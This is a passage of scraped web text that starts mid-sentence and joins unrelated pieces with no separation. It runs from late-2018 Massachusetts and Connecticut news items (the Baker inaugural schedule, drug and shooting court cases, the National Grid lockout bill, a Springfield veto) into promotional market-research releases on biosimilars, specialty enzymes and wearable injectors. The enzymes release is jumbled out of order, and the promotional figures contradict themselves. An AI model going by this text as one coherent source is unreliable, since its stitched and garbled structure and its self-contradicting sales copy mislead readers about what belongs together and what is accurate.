in Boston, Springfield and Worcester. Baker and his running mate, Lt. Gov. Karyn Polito, won a second four-year term in November. The events surrounding the inaugural are set for the week of January 3. The committee set up a website for members of the public to register if theyre interested in attending the events. The interfaith ceremony, set for Morningstar Baptist Church in Bostons Mattapan neighborhood, and the swearing-in ceremony in the state House chamber, are both invite-only. "We invite the people of the Commonwealth to join us in celebrating our shared work to make the Commonwealth an even better place to live, work, start a business, and raise a family, Baker said in a statement. The schedule is available below: Inaugural Interfaith Ceremony Morningstar Baptist Church, 1257 Blue Hill Avenue, Mattapan, MA Wednesday, January 2, 2019 | 5:30PM Governor & Lt. Governor Swearing In Ceremony Massachusetts State House, House Chamber Thursday, January 3, 2019 | 12:00PM Moving Massachusetts Forward Inaugural Celebration Museum Of Science, 1 Science Park, Boston, MA Thursday, January 3, 2019 | 7:30PM Moving Massachusetts Forward Inaugural Celebration Springfield Student Prince Cafe And Fort Restaurant, 8 Fort Street, Springfield, MA Friday, January 4, 2019 | 3:00PM Moving Massachusetts Forward Inaugural Celebration - Worcester Union Station, 2 Washington Square, Worcester, MA Friday, January 4, 2019 | 7:00PM HARTFORD -- A 29-year-old man was sentenced to nearly four years in prison after pleading guilty to selling heroin and fentanyl to two men who died of drug overdoses. Christopher Barreto, of Hartford, was sentenced Wednesday to 46 months in prison followed by five years of supervised release by U.S. District Judge Michael P. Shea, according to a statement from John H. Durham, U.S. Attorney for the state of Connecticut. In August he pled guilty to possession of heroin with intent to distribute and distribution of heroin, the statement said. On Aug. 26, 2016, a 31-year-old man was found dead in an upstairs bedroom of an Enfield home. Police, who responded with emergency medical personnel, searched the room and found packaging that was suspected to contain heroin. The Connecticut Chief Medical Examiner ruled the victim died from acute fentanyl and ethanol intoxication, the statement said. A day later, a 36-year-old man was found unresponsive outside an Enfield home and later died at the hospital. Police who responded to that scene also found packaging that contained trace amounts of heroin and the medical examiner ruled he died of the combined effects of fentanyl, furanyl fentanyl and heroin, the statement said. Using cell phone records from both victims and other evidence, police determined Barreto sold the heroin to different dealers who then sold it to the victims. His arrest stemmed from an ongoing statewide initiative targeting narcotics dealers who sold drugs that later killed people. At the time of the arrest, police seized about 2,000 packages of heroin from Barreto's house, the statement said. Barreto has been detained since Oct. 22, when his bond was revoked. The crime was investigated by the Drug Enforcement Administration and the Enfield Police Department. The case was prosecuted by Assistant U.S. Attorney Jocelyn Courtney Kaoutzanis. BOSTON The Massachusetts Senate on Thursday passed a bill that would extend unemployment benefits for National Grid workers who have been locked out of their jobs since June. The bill would extend unemployment benefits for the workers for 26 weeks or until the lockout ends. The benefits would go through the traditional unemployment insurance system, which is funded by payments from all employers. Although National Grid would not be directly assessed for the cost of the benefits, it would affect how National Grids rates are set going forward, so the company would pay higher rates for unemployment insurance in the future. National Grid would be prohibited from recovering the costs by charging higher rates to its customers. There are around 1,250 National Grid workers whose unemployment benefits are set to expire Jan. 14. We have considered a range of policy options, and believe the bill we put forward is practical, feasible, and able to be implemented quickly, so that these families incur no break in unemployment benefits, Senate President Karen Spilka, D-Ashland, said in a statement. It is our hope that this action will provide some relief and peace of mind for those workers who want nothing more than to get back to work. Senate Minority Leader Bruce Tarr, R-Gloucester, called the bill a limited, reasonable and fair approach to ensure economic security for the locked-out workers, according to a State House News Service transcript. The benefits would be capped at 50 percent of salary or just under $800 a week, Tarr said. The House passed a bill earlier this month to create a state-run unemployment benefits program, paid for by National Grid, to pay benefits to the locked-out utility workers after their traditional benefits run out. House Speaker Robert DeLeo, D-Winthrop, acknowledged to the State House News Service that there was a drafting error in the bill, which intended to have National Grid pay the costs but instead would require all utilities to pay. Despite Senate and House passage, the legislation still has a ways to go before becoming law. Because the bills are not identical, the bodies will have to agree on a consensus bill. Gov. Charlie Baker, a Republican, said Wednesday that while he conceptually supports the idea, there are complicated issues regarding federal and state law and he has been working with lawmakers to figure out a legal way to extend the benefits. We do not want to see those 1,200 families end up on the wrong side of this if it doesnt end by the holidays, Baker said. DeLeo said Thursday, I believe that we must now work together in a bipartisan fashion to see this legislation become law. DeLeo said the House stands ready to work to address any implementation issues. He said the House will keep its session open or hold additional sessions as needed to pass the bill. The Commonwealth cannot sit idly by while a large, international conglomerate volitionally locks out employees in a transparent effort to enhance its leverage in a negotiation, while passing on the cost for this misguided strategy to the taxpayers and ratepayers of the Commonwealth, DeLeo said. State officials have been urging National Grid and the workers to come to an agreement. If the House and Senate do not pass a final bill before the end of the year, the legislative session will end, and all bills will need to be reintroduced and reconsidered in the new year. Separately, the House on Thursday is also preparing to vote on a bill initially sponsored by Baker that would require a certified professional engineer to approve plans for any natural gas work that could pose a material risk to public safety. Baker proposed the bill based on recommendations of the National Transportation Safety Board in response to the Sept. 13 gas explosions in the Merrimack Valley, which were caused by an over-pressurized gas line at a site where Columbia Gas was doing work. At a recent legislative hearing, all of the states public utilities said they would support requiring more engineering oversight of natural gas work. If the bill passes the House, it will still need Senate approval. SPRINGFIELD -- A new City Council order that would direct part of the sales taxes from new marijuana retail shops to be placed in a special fund for neighborhood needs was vetoed Wednesday by Mayor Domenic J. Sarno, who said he believed the approved amount was too high. It marked the second veto by Sarno in the past two days relating to action at Monday's City Council meeting. I have not chosen to veto this order because I disagree with the Councils motivation for creating this fund, Sarno said in his veto message. I am not comfortable with setting the amount at 50 % as a starting point. We can continue to look at this as we get a clearer picture of the actual revenue generated. Both Sarno and the lead sponsor, Councilor Jesse Lederman, said they agree on the intent of the fund to help neighborhoods. The council order, approved by a 13-0 vote, calls for 50 percent of the funds received from the retail sales tax for recreational marijuana shops go to neighborhood needs. The specific neighborhood uses would be appropriated by the mayor and approved by the council, Lederman said. The retail sales tax is 3 percent. There have been initial proposals for retail shops downtown and in the South End and East Springfield. Those and other shops will need approval from the mayor, council and Massachusetts Cannabis Control Commission. Sarno said his chief concern is that it is not prudent fiscal policy to dedicate half of a revenue source to a fund, when the size of those revenues is still unknown. "Additionally, I believe clear procedures for how this revenue shall be used should be created before they are dedicated to the fund," Sarno said. The council will consider a veto override in January, needing at least nine votes, a two-thirds majority of the 13-member council. Sarno said he believed that he had reached an "understanding" during a Nov. 30 meeting with some councilors and city officials, including Lederman, that the fund set aside would be at 25 percent, not 50 percent. Lederman said he believes there may have been some confusion. There was talk of two separate funds of 25 percent each, to be rolled into one fund, but councilors wanted 50 percent then and since, as expressed during committee meetings, he said. The sales tax is just one source of revenue the city will receive from marijuana shops, as there will also be revenues dictated by future host community agreements with the shops, Lederman said. The councils creation of the Impacted Neighborhood Stabilization Fund for 50 percent of the retail tax revenues is for neighborhoods within a 1.5-mile radius of the shops and for disproportionately impacted neighborhoods as defined by the Cannabis Control Commission, the order states. The fund will be used for educational and recreational programming for youth and adults in those neighborhoods, neighborhood business incentives, improvements to infrastructure, recreational and community sites and other needed initiatives, the order states. There are estimates that sales tax revenue from the shops at their peak could be $900,000 to $2 million annually, Lederman said. In September, the council authorized up to 15 retail marijuana stores to be located in Springfield. They are confined to business and industrial zones, and only on 58 designated streets in those zones. Public hearings and city and state approval are required before a store can open. On Tuesday, Sarno vetoed an ordinance, approved by the council, that would create Springfield as a Welcoming Community for immigrants regardless of their legal status. That veto also faces a possible override vote by the council. Lederman and Sarno said they believe the issue of setting aside sales tax revenue from the retail shops is something they can work on collaboratively. WESTFIELD - Police are asking for help to find a city resident who has been missing for a day. Ashley Nicoli, 27, was last seen by her family at 3:15 p.m., Tuesday, and they are concerned for her safety, police said. She has brown and blond hair and is about 5 feet, 7 inches tall. She is likely driving a 2016 white Hyundai Elantra with a Massachusetts license plate of 84LW92, police said. She may have been in Chicopee near exit 5 of the Massachusetts Turnpike last night, police said. People who have seen her or have any information about her disappearance are asked to call Westfield Police at 413-562-5411. SPRINGFIELD -- Three shooters opened fire during a gun battle inside the Knox St. Market last month that fatally injured the owner's wife and left her son with a gunshot wound to his face, according to a police report. The first detailed account of the Nov. 30 shootout inside the small, family-owned market emerged Wednesday as Duryl Hale, 22, of Springfield, was arraigned in Springfield District Court. During a brief hearing, Hale pleaded not guilty to murder in the death of Virginia Rodriguez-Veras, 34, of Springfield, who was shot once during an apparent armed robbery at the market at 7 Knox St. The arraignment came two weeks after Hale pleaded not guilty to a series of related charges, including armed assault with intent to rob, assault and battery by discharging a firearm, and being a felon in possession of a firearm. No new details were made public during Wednesday's hearing, but a report summarizing the gun battle and the police investigation was filed to establish a legal basis for the murder charge. The report states that one of Hale's two accomplices fired shots that killed the market owner's wife and severely injured their son. According to the report, the three suspects entered the market around 6:30 p.m. Moments later, one of the store's video cameras captured Hale and one accomplice pointing guns at market owner Santana Veras' son, the report said. The father, who was standing behind the counter, responded by pointing a firearm at the two men. "A gun battle ensued," with Hale firing shots at the market owner, then running out the door with the accomplice, the report said. The other accomplice, meanwhile, ran toward the back of the store and began wrestling with the market owner's son. After shooting the son in the face, he exchanged gunfire with the owner, who stood with his wife by the deli counter, the report said. "The video shows Virginia drop to the floor as the result of being shot by the third (accomplice) ... who then flees the store, leaving Virginia lifeless on the floor," the report said. A car picked up the three suspects outside and drove off toward Pine Street. About seven minutes later, 13 shots were reported fired outside 59 Wilbraham Ave. by three men who fled in a vehicle similar to the one that picked up the suspects outside the market, the report said. A witness on Wilbraham Avenue wrote down the license plate, and the car was located about two hours later, leading to the arrest of Hale, Nasear Wise and Shondu Allen, the car's owner, the report said. The status of any charges against Allen or Wise was unclear Wednesday. A 9 mm shell casing found in the car matched ones found on Wilbraham Avenue and the bullet that killed Rodriguez-Vera at the market, the police report said. In February 2016, Hale was sentenced to two to three years in prison after he admitted to four counts of armed robbery and one count of armed assault with intent to rob. According to state records, he was released from prison on Sept. 10. Hale also was convicted in 2014 for armed robbery. In each instance, the weapon he used was a knife. For the 2014 conviction, when he was 18, he was not sentenced to any prison time, court records show. Hale, who is being held without right to bail, is due back in court on Jan. 11. Illinois medical marijuana companies are making big moves on the state and national levels as the stigma around weed begins to fall away. Besides going public in Canada, Illinois weed companies have raised hundreds of millions of dollars to fund expansions and consolidated through a number of deals, one topping $680 million. Interest in the drug is growing, especially as Gov.-elect J.B. Pritzker has called for legalizing recreational marijuana. Berkshire Gas Co. this month launched a program that could make its Western Massachusetts service territory less dependent on the very fossil fuels it sells. The natural gas utility on Dec. 5 announced $1 million in "alternative heating" grants to help eight communities affected by Berkshire's longstanding moratorium on new or expanded energy service. The company in 2014 and 2015 imposed the bans on new service, citing pipeline constraints -- and recently said it had abandoned any immediate plans to lift the moratorium. The company deemed that building new pipeline or liquefied gas storage to serve the area would be too expensive. In announcing the grant, Berkshire invited the towns of Deerfield, Greenfield, Montague, Sunderland, Whately, Amherst, Hadley and Hatfield to send their proposals to the Massachusetts Department of Energy Resources, or DOER. "Recognizing the challenges imposed by the moratorium, Berkshire Gas sought the opportunity to support jobs and economic development through the alternative heating program," the company said in a news release. The $1 million came from a settlement agreement brokered by the office of Attorney General Maura Healey in 2015, when Berkshire's parent, UIL, merged with the Spanish corporation Iberdrola to form the publicly traded Avangrid. The grant money will be available on a first-come, first-served basis, and projects must benefit job creation, municipal buildings, or low- and moderate-income households, Berkshire said. Technologies may include biomass heating systems, air and ground source heat pumps, solar thermal, anaerobic digesters, and deep geothermal. Carole Collins, energy and sustainability manager for Greenfield, said the town does plan to apply, and is considering its options -- including retrofitting municipal buildings, or offering an affordable opportunity for homeowners to install air-source heat pumps. "This is a great opportunity, considering that we can't get any more capacity from the gas line," said Collins, reached by telephone on Wednesday. Heat pumps can deliver up to three times more heat or cooling energy to a home than the electrical energy it consumes, according to the U.S. Department of Energy. A heat pump, with its condensers and coils, moves heat rather than converting it from a fuel. The DOER worked closely with Berkshire to develop the parameters of the grant program, said Berkshire Gas president and COO Karen Zink. "We are hopeful that this million dollar initiative will be helpful to the affected communities," Zink said in a statement. Not everyone was entirely impressed. Kathryn Eiseman, president of Pipe Line Awareness Network for the Northeast, said she supports moving away from natural gas, and supports efficient electric heating -- such as heat pumps -- particularly for lower-income households stuck with inefficient and expensive baseboard heating. But the leading pipeline foe said interest has been accumulating on the $1 million since the 2015 consent agreement, and that towns should benefit from that. She also said the consent agreement stipulated that DOER should make the decisions about the grant, not Berkshire Gas. "It appears that the funds cannot be used towards insulation and weatherization of existing buildings, which is unfortunate as that remains an underutilized area for energy savings," Eiseman said. As for the inclusion of biomass heating in the list of technologies, Eiseman said it " reflects an unfortunate bias in the Baker administration towards biomass combustion, at a time when we should be focusing on carbon sequestration strategies." The Berkshire Gas moratorium is separate from a similar moratorium imposed by Columbia Gas of Massachusetts in Easthampton and Northampton. Columbia proposes to lift those bans through an ambitious Springfield-area expansion project done in collaboration with Kinder Morgan's Tennessee Gas Pipeline Co. NORTHAMPTON -- There were no proverbial fireworks to report from a recent conference on homelessness in Greenfield, but organizer Pam Schwartz said the event drew about 150 and accomplished what organizers had hoped. And the director of the Western Massachusetts Network to End Homelessness is optimistic the region will see a reduction in the number of people without a home as efforts to address homelessness become more coordinated. The Nov. 16 summit drew government officials, lawmakers and legislators-elect, medical professionals, county sheriffs, mayors and town managers, local officials, educators and social service leaders with the goal of sharing resources and increasing collaboration. Schwartz said the infrastructure to address homelessness is solid and she doesn't see the need for new boards or committees. Instead, those groups should share what they all know and bolster what's in place. She said at the forum they were able to bring "the committees' work to a larger audience." With the sharing of information at the summit, she said, housing authorities now know that the U.S. Department of Housing and Urban Development will have more housing vouchers available. "More know about this resource," she said. This way more people will be able to apply for the subsidies. And she said there will be a bigger push to connect people to resources. For example, agencies such as the Springfield-based Way Finders -- a program to address homelessness -- as well as hospitals, food pantries and sheriff's departments will connect people they see at risk for homelessness with resources to prevent it. Those service providers "can reach out and assess housing needs. It's basically getting people connected," Schwartz said. The state's current 10-year contracts with providers of family shelters will expire next year. The new agreements will offer "an opportunity to incorporate some of the best practices that have evolved since the contracts were signed 10 years ago," Schwartz said. That includes focusing on getting people into new homes as quickly as possible. "The work we're doing, it's not sexy. It's hard work," she said. But, she said, "I'm very optimistic. There is great work going on, great collaboration going on, great opportunity to refine our system." The coalition issued a report defining a series of steps that can be taken. Among those are to increase funding for rental assistance, including the Massachusetts Rental Voucher Program and the Alternative Housing Voucher Program, to create more affordable housing and to make vouchers more usable by increasing what is considered a fair market rent. According to the report, vouchers are capped at the 2005 fair market rents unless a waiver is granted. For 2005, the fair market rate for a two-bedroom apartment in Springfield was $772 and $654 for Pittsfield/Lenox. The current rates are $1,061 and $1,048, respectively. Other goals include increasing prevention resources for such state programs as Residential Assistance for Families in Transition (RAFT) and the Tenancy Preservation Project. According to the report, in fiscal 2018 the state spent an average of $3,134 in prevention dollars through the transition program to ensure continued housing for 4,205 families. During that same time period, Massachusetts spent an average of $42,845 for each household that entered the state's family shelter program. Legislative and Budget Prio... by on Scribd U.S. Sen. Ed Markey, D-Massachusetts, praised chamber lawmakers Wednesday for advancing a high profile criminal justice bill, which he argued will overhaul the countrys draconian and unjust sentencing laws. Markey, who joined more than 80 other senators in adding the First Step Act as an amendment to other legislation Tuesday, said while the wide-ranging measure does not contain all of the criminal justice overhauls he would have liked to see, he believes it marks a step in the right direction and starting point for future reforms. The First Step Act is the start of a long overdue transformation of our federal criminal justice system. ... If we are to close the revolving door to and from prison that traps too many inmates, we must start with these basic reforms, he said in a statement. The senator touted the proposals inclusion of measures, which he offered will address unjust sentencing laws, such as language to ease mandatory minimum sentences under federal law and make reforms enacted in 2010 legislation retroactive. Markey further lauded measures included in the First Step Act that seek to improve prison conditions for inmates, promote rehabilitation and prevent recidivism. He, for example, noted that the legislation would allow prisoners to acquire earned time credits for participating in rehabilitation programs. The senator added that it also calls for ending the shackling of pregnant inmates, expanding compassionate release for elderly and terminally ill prisoners and ending federal juvenile solitary confinement -- changes which he argued are much needed in the criminal justice system. Markey, however, offered that even if the measure is signed into law, the country has a long way to go before we have a truly just criminal-justice system. We must always remember that we send criminals to prison as punishment, not for punishment, he said. The senator further stressed that the legislation is just the beginning of the national apology we owe to the generation of African-American men and women who lost their lives and futures in prison due to a few dollars of crack cocaine and an unjust War on Drugs. President Donald Trump also lauded the Senates passage of the criminal justice overhaul legislation. ....This will keep our communities safer, and provide hope and a second chance, to those who earn it. In addition to everything else, billions of dollars will be saved. I look forward to signing this into law! Donald J. Trump (@realDonaldTrump) December 19, 2018 This will keep our communities safer, and provide hope and a second chance, to those who earn it. In addition to everything else, billions of dollars will be saved, he tweeted late Tuesday. I look forward to signing this into law! House Democrats selected U.S. Rep. Jim McGovern Thursday to take over as their new House Rules Committee chairman, a position which gives the Worcester Democrat the power to decide when and what bills make it to the floor for consideration. McGovern, the panel's current ranking member, officially secured the title of Rules Committee chairman after Democratic lawmakers met behind closed doors for morning caucus votes. The House Democratic Steering and Policy Committee previously approved McGovern's chairmanship bid as it met earlier this month. The Worcester Democrat reflected on his election and thanked colleagues for choosing him to lead the panel, which is among the oldest standing committees in Congress. "The American people demanded a new direction. That means making the House Rules Committee the place where big ideas are debated once again instead of being where democracy goes to die," he said in a statement. "I look forward to instituting a more accommodating process that helps restore the integrity of this institution as the Democratic Majority advances an agenda that works for all Americans." McGovern, who noted that "Massachusetts has a long and proud history with the House Rules Committee," added that he will lead in the example set by former Bay State Congressmen and panel members Thomas "Tip" O'Neill Jr. and Joe Moakley. "They taught me that you don't have to agree on everything to agree on something, and that good people can disagree and still work together to get things done," he said. "Their example will guide me as I lead the Rules Committee at such an important time for our state and nation." McGovern, who voiced concerns about the panel's action under current Chairman U.S. Rep. Pete Sessions, R-Texas, has pledged to "provide a more accommodating and respectful process" in the lower chamber if named the panel's new leader. He joined House Minority Leader Nancy Pelosi late last month in unveiling a series of rules change proposals reached in conjunction with the bipartisan Problem Solvers Caucus. The proposals, which McGovern has urged House Democrats to support, include: creating a "consensus calendar" to ensure that bills with 290 co-sponsors are promptly considered; giving preference to amendments that comply with rules and have support from at least 20 members of each party; modernizing the discharge petition process; increasing committee transparency; and overhauling motions to vacate the chair, among other things. Beyond pushing the bipartisan-backed rules changes, McGovern has pledged to not block marijuana-related measures from being debated on the U.S. House floor. He has also hinted that House Democrats will use their power in the new Congress to "conduct proper investigation and oversight" of alleged collusion between the Trump campaign and Russia in the 2016 election. McGovern, who was named the Rules Committee's ranking member in April, is among three Massachusetts Democrats poised to hold powerful positions when the new Congress convenes in early January. U.S. Rep. Katherine Clark, D-Melrose, was elected to serve as the House Democratic Caucus' new vice chair late last month. Congressman Richard Neal, D-Springfield, meanwhile, was set to secure the position of House Ways and Means Committee chairman in Thursday's caucus elections. A 43-year-old Massachusetts man will serve 5 years in federal prison after paying a teen more than $3,000 to conduct sex acts over Skype. William Gauvin, who lives in Andover but committed the illegal acts while living in Worcester, was sentenced in a Connecticut federal court Thursday. Gauvin pleaded guilty to one count of receipt of child pornography in September, according to the U.S. Attorneys Office in Connecticut. Along with 5 years in prison, Gauvin will be on probation for 10 years when he is released. Authorities said Gauvin solicited a 17-year-old boy in Connecticut to engage in sex acts over Skype between October 2016 and March 2017. Using the name, Will Wiggins, Gauvin tried to persuade the victim to have his 15-year-old brother also engage in sex acts. In exchange for the minor victim transmitting visual depictions of sexually explicit conduct to Gauvin, Gauvin paid the minor victim more than $3,000 using PayPal, the U.S. Attorneys Office said. Authorities learned Gauvin also paid other minor victims to engage in sexually explicit conduct online. Investigators arrested Gauvin on Nov. 1, 2017. That same day, authorities executed a search warrant at Gauvins home in Worcester. Federal records show the 17-year-old boys mother told Connecticut authorities she discovered text and Skype messages on her sons phone in March 2017. The mother saw a man using the Will Wiggins name solicited her son to conduct sex acts on Skype for money. The mother also discovered the PayPal payments from William Gauvin, records said. Gauvin admitted to paying the victim to conduct sex acts on Skype. The USDA's proposed rule would strip states' ability to issue waivers unless a city or county has an unemployment rate of 7 percent or higher. The waivers would be good for one year and would require the governor to support the request. States would no longer be able to bank their 15 percent exemptions. The new rule also would forbid states from granting waivers for geographic areas larger than a specific jurisdiction. Key Players for Global Biosimilars Market The key players in the global biosimilars market include Accord Healthcare (UK), Amgen Inc. (USA), Astra Zeneca (UK), Biocon Ltd. (India), Celltrion, Inc. (South Korea), Dr. Reddys Laboratories Ltd. (India), Eli Lilly (USA), F. Hoffmann-La Roche Ltd. (Switzerland), Novartis (Switzerland), Pfizer Inc. (USA), Samsung Bioepis (South Korea), Sandoz International GmbH (Germany), and Teva Pharmaceuticals Industries Ltd. (Israel). Latest Industry News Mundipharma, a network of independent pharma companies, has acquired Spanish biosimilars development company Cinfa Biotech. The deal gives Mundipharma, access to a biosimilar to Amgens Neulasta (pegfilgrastim). 10 OCT 2018 The new white paper issued by the Association of European Cancer Leagues, a nonprofit, pan-European organization of national and regional cancer societies, has called for the greater use of biosimilars as a means to increase patient access to cancer treatment, and reduce costs. 10 OCT 2018 Get Sample PDF Illustration @ https://www.marketresearchfuture.com/sample_request/1329 Biosimilars Market Sketch A Biosimilar is described as a biological, medical product which is an identical copy of the original medical product. Market Research Future (MRFR) has published and released a research report about the global biosimilars market that predicts massive enlargement for this market with 26% CAGR during the forecast period between 2016 and 2023. In terms of cash, the market has been anticipated to rise to the US $ 16.97 bn. Analyzing the market structure, this report estimates the future growth potential of the market. It observes the strategies of the key players in the market and follows the competitive developments like joint ventures, new product developments, mergers and acquisitions, research and developments (R & D) in the market. This report also covers insights on the major countries/regions in which this industry is flourishing, along with the list and description of untapped regions which could be the potential markets in the future. The key factors aiding the growth of the global biosimilars market include clinical trial activities for biosimilars, increasing demand for the cheap medical products, increasing incident of different diseases, and strategic collaborations resulting in enhanced productivity. However, lack of awareness and physician skepticism are the major restraining factor regarding market growth. Regional Analysis for Global Biosimilars Market The regional segmentation of the global biosimilars market segments the market into continent-based regional markets namely Asia Pacific, North America, Europe, and rest of the world (RoW). According to the report, Europe is the biggest regional market for the biosimilars due to the advanced medical research, increasing the prevalence of diseases and rising geriatric population. Due to technological advancement, Western Europe is a bigger market than Eastern Europe. The key country-specific markets in Western Europe include France, Italy, Spain, Germany, and the United Kingdom (UK), followed by the rest of Western Europe. North America is the second largest market, being ahead of Europe in terms of technological advancement and being equal to Europe in terms of medical research. North Americas approach towards biosimilars is not as welcome as Europes is. Major country-specific markets in North America are Canada and the United States of America (USA). The Asia Pacific has been expected to emerge as the fast-growing market during the forecast period. The country-specific markets generating maximum revenue in this region are Australia, India, Japan, South Korea, and China, followed by the rest of the Asia Pacific region. Segments for Global Biosimilars Market The segmentation global biosimilars market is on the basis of application, manufacturing, product, and region. The application based segmentation segments the market into blood-related disorders, immunity-related diseases, oncology, and other. Based on manufacturing, the market has contract manufacturing and in-house manufacturing. As per segmentation based on product, the market has been segmented into recombinant glycosylated proteins, recombinant non-glycosylated proteins, and others. Recombinant glycosylated proteins have been further segmented into Monoclonal antibody (mAb) and EPO. Recombinant non-glycosylated proteins have been further segmented into growth hormones, insulin, and other. Browse Complete Report @ https://www.marketresearchfuture.com/reports/biosimilars-market-1329 Some Brief Table of Contents of Report Chapter 1. Report Prologue Chapter 2. Market Introduction 2.1 Definition 2.2 Scope Of The Study 2.2.1 Research Objective 2.2.2 Assumptions 2.2.3 Limitations Chapter 3. Research Methodology 3.1 Introduction 3.2 Primary Research 3.3 Secondary Research 3.4 Market Size Estimation Chapter 4. Market Dynamics 4.1 Drivers 4.2 Restrains 4.3 Opportunities 4.4 Challenges 4.5 Macroeconomic Indicators 4.6 Technology Trends & Assessment Chapter 5. Market Factor Analysis 5.1 Porters Five Forces Analysis 5.1.1 Bargaining Power Of Suppliers TOC Continued Do You Have Specific Requirement? Ask To Our Experts@ https://www.marketresearchfuture.com/enquiry/1329 About Market Research Future: At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Statistical Report, Continuous-Feed Research (CFR), and Market Research & Consulting Services. Contact Us: Market Research Future Hadapsar, Pune 411028 Maharashtra, India Phone: +1 646 845 9312 Novozymes Roche Holdings AG DuPont Life technologies BASF Affymetrix Inc. Advance enzyme Technologies Ltd. Codexis Inc. Market players have adopted acquisition and new product launches as their key strategies for extending the manufacturing capacity, grow their market presence, and acquire additional market share. Key market players analyzed in the report include Allied Market Research published a new report, titled, Specialty Enzymes Market Global Opportunity Analysis and Industry Forecast, 20142020. The research states that the global specialty enzymes market would reach $947.5 million by 2020, growing at a CAGR of 9.4% during the forecast period, 20152020. The pharmaceuticals application segment contributed to nearly half of the total market share in 2014. The Asia Pacific is expected to grow at the fastest rate with a CAGR of 11.7% during the forecast period. Specialty enzymes have experienced an upsurge in demand in medical applications including biotechnology research, pharmaceutical, and diagnostics. The rise in prominence of specialty enzymes in therapies of chronic diseases including cancer, cardiovascular diseases, and inflammatory disorders drive the market growth. However, issues related to safety due to vulnerability of enzymes due to contamination restrain the overall growth in the market. On the other hand, rise in awareness regarding enzyme-based therapeutics for the Asia Pacific and LAMEA region would create new opportunities for the market growth. Download PDF Report Sample @ https://www.alliedmarketresearch.com/request-sample/703 They have implemented different strategies such as collaborations, partnerships, agreements, and others to gain the strong position in the industry. Key findings of Specialty Enzymes Market: Pharmaceutical application segment is expected to register the fastest CAGR of 9.7% during the forecast period. Proteases enzyme would be a lucrative segment in the market by 2020. Animal derived enzymes would register the significant growth rate during the forecast period. North America and Europe together contributed to nearly two-thirds of the global specialty enzymes market in 2014 and will maintain its leadership status throughout the analysis period. Increase in geriatric population in developed countries of North America and Europe created an increased demand for therapeutic enzymes. Moreover, acceptance of advanced enzymes including immobilized enzymes has been growing owing to rise in healthcare expenditure. This had contributed to the dominance of North America, followed by Europe. However, Asia-Pacific would contribute the highest growth in the future, owing to the rise in per capita healthcare expenditure, surge in awareness regarding enzyme therapy, and ever-expanding pharmaceutical manufacturing base. Scope of the Report: Report Attribute Details Market size available for years 2014 2020 Base year considered 2015 Forecast period 2014 2020 Forecast units Value (USD) Segments covered By Types, By Application, By Source, By Geography Geographies covered North America, Europe, Asia-Pacific, LAMEA About Us Allied Market Research (AMR) is a full-service market research and business-consulting wing of Allied Analytics LLP based in Portland, Oregon. Allied Market Research provides global enterprises as well as medium and small businesses with unmatched quality of Market Research Reports and Business Intelligence Solutions. AMR has a targeted view to provide business insights and consulting to assist its clients to make strategic business decisions and achieve sustainable growth in their respective market domain. We are in professional corporate relations with various companies and this helps us in digging out market data that helps us generate accurate research data tables and confirms utmost accuracy in our market forecasting. Each and every data presented in the reports published by us is extracted through primary interviews with top officials from leading companies of domain concerned. Our secondary data procurement methodology includes deep online and offline research and discussion with knowledgeable professionals and analysts in the industry. Contact: David Correa 5933 NE Win Sivers Drive #205, Portland, OR 97220 United States USA/Canada (Toll Free): +1-800-792-5285, +1-503-894-6022, +1-503-446-1141 UK: +44-845-528-1300 Hong Kong: +852-301-84916 India (Pune): +91-20-66346060 Fax: +1(855)550-5975 help@alliedmarketresearch.com Web: https://www.alliedmarketresearch.com Life Science Market: https://www.alliedmarketresearch.com/reports-store/life-sciences Follow Us on LinkedIn: https://www.linkedin.com/company/allied-market-research Related Reports: Audiology Devices Market Opportunities and Forecasts, 2020-2027 Microbiome Therapeutics Market Opportunities and Forecasts, 2020-2027 Wearable Injectors Market Highlights Wearable injectors are drug delivery instruments for convenient administration of viscous drugs. They are also known as bolus injectors or patch pumps. Wearable injectors are used to subcutaneously administer insulin and other drugs that require large dose volumes and extended delivery period. The increasing prevalence of various chronic diseases, rising concern for injuries caused due to needles and increasing demand for round the clock monitoring are expected to drive the growth of the market during the forecast period. Additionally, the technological advancements in wearable injectors and growing geriatric population are likely to boost the market growth. On the other hand, preference for traditional methods of drug administration and lack of skilled labor who can instruct patients about wearable injectors and its usage may hinder the growth of the market during the forecast period. Get Sample Report at https://www.marketresearchfuture.com/sample_request/6491 The global wearable injectors market is currently dominated by many market players. The key players in the market are engaged in new product launches and strategic collaborations to strengthen its market position. For instance, in June 2014, SteadyMed Therapeutics, Inc. entered into a strategic agreement with Bespak Europe Ltd., a European manufacturer of medical devices, to develop and produce Trevyent. Trevyent is a wearable injector with PatchPump-based technology that works on an expanding battery to take the drug out of a flexible primary drug container. Wearable Injectors Market Segmentation The global wearable injectors market has been segmented into type, usage, mechanism of injection, therapeutic area, and end user. The market, on the basis of type, has been segmented into on-body wearable injectors, off-body wearable injectors, and hand-held wearable injectors. The market, by usage, has been segmented into disposable and semi-reusable. The market, by mechanism of injection, has been segmented into spring based, motor driven, rotary pump, expanding battery, pressurized gas, and collapsible reservoir. The market, by therapeutic area, has been segmented into oncology, infectious diseases, cardiovascular diseases, autoimmune diseases, diabetes, and others. The market, by end-user, has been segmented into hospitals, clinics, home care, ambulatory surgery centers, and others. Wearable Injectors Market Key Players Some of the key players in the global wearable injectors market are West Pharmaceutical Services, Inc., Valeritas, Inc., Eli Lilly and Company, YPSOMED, Amgen Inc., Becton, Dickinson and Company (BD), CeQur SA, SteadyMed Therapeutics, Inc., BioSpace, Enable Injections, and Sensile Medical AG. Browse Complete 100 Pages Premium Research Report Enabled with 98 Respective Tables and Figures at https://www.marketresearchfuture.com/reports/wearable-injectors-market-6491 Wearable Injectors Market Regional Analysis The market in the Americas is expected to dominate the global wearable injectors Market during the forecast period owing to the presence of well-established healthcare infrastructure and advanced technologies to administer drugs for the treatment of chronic diseases like diabetes. According to the National Diabetes Statistics Report 2017, an estimated 30.3 million people of all ages had diabetes in the US in 2015. The European market is expected to be the second-largest due to the growing medical devices industry in France, Germany & the UK and the rising opportunities for the market players. Moreover, the market in Asia-Pacific is anticipated to be the fastest-growing during the assessment period owing to favorable government initiatives for the medical devices industry. The market in the Middle East & Africa is likely to account for the smallest share of the global wearable injectors market. The market growth in this region can be attributed to the rising research and development activities in the region. About US: Market Research Future (MRFR), enable customers to unravel the complexity of various industries through Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services. Contact Us: Market Research Future Office No. 528, Amanora 